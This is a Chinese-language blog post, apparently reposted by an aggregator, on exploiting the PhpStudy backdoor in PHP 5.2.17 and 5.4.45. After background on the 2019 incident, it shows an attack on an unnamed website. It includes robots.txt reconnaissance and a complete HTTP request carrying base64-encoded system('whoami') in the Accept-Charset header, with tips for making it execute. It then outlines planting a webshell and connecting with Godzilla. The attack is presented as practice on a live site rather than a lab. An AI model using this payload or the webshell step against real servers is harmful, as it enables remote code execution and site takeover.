PhpStudy后门漏洞实战复现

Posted 小安-an

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PhpStudy后门漏洞实战复现相关的知识,希望对你有一定的参考价值。

phpstudy后门事件介绍

2018年12月4日,西湖区公安分局网警大队接报案,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。通过专业技术溯源进行分析,查明了数据回传的信息种类、原理方法、存储位置,并聘请了第三方鉴定机构对软件中的“后门”进行司法鉴定,鉴定结果是该“后门”文件具有控制计算机的功能,嫌疑人已通过该后门远程控制下载运行脚本实现收集用户个人信息。在2019年9月20日,网上爆出phpstudy存在“后门”。

漏洞影响版本

phpstudy 2016版PHP5.4.45和PHP5.2.17,phpstudy2018版php-5.2.17和php-5.4.45存在后门。

实战利用

漏洞测试

某网站测试过程访问http://XXX/robots.txt发现存在多个禁止访问的目录文件。

User-agent: * 
Disallow: /plus/ad_js.php
Disallow: /plus/advancedsearch.php
Disallow: /plus/car.php
Disallow: /plus/carbuyaction.php
Disallow: /plus/shops_buyaction.php
Disallow: /plus/erraddsave.php
Disallow: /plus/posttocar.php
Disallow: /plus/disdls.php
Disallow: /plus/feedback_js.php
Disallow: /plus/mytag_js.php
Disallow: /plus/rss.php
Disallow: /plus/search.php
Disallow: /plus/recommend.php
Disallow: /plus/stow.php
Disallow: /plus/count.php
Disallow: /include
Disallow: /templets

访问/plus/carbuyaction.php文件并利用burp抓包进行测试。

发现网站搭建使用的是php-5.4.45,尝试phpstudy后门漏洞。

构造payload:

注: Accept-Encoding的gzip, deflate 中间的逗号后面的空格去掉,不然命令执行不成功。

Accept-Charset 后面就是要执行的命令, 需要进行base64编码(这个漏洞相当于是eval()函数的代码执行,所以如果要执行os系统命令的话还要用system)。

GET /plus/carbuyaction.php HTTP/1.1
Host: XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip,deflate
accept-charset: c3lzdGVtKCd3aG9hbWknKTs=
Connection: close
Content-Length: 2

直接命令执行成功,存在phpstudy后门漏洞。

写webshell

首先需要测试找到网站部署的路径,通过目录遍历发现一个php文件。

dede暴出网站路径。

同样利用命令执行写入webshell

哥斯拉连接成功。

以上是关于PhpStudy后门漏洞实战复现的主要内容,如果未能解决你的问题,请参考以下文章

phpStudy后门漏洞利用复现

粘滞键漏洞的后门防范

phpStudy nginx 解析漏洞复现

phpstudy都有哪些漏洞

笔记网易微专业-Web安全工程师-04.WEB安全实战-5.文件包含

nginx解析漏洞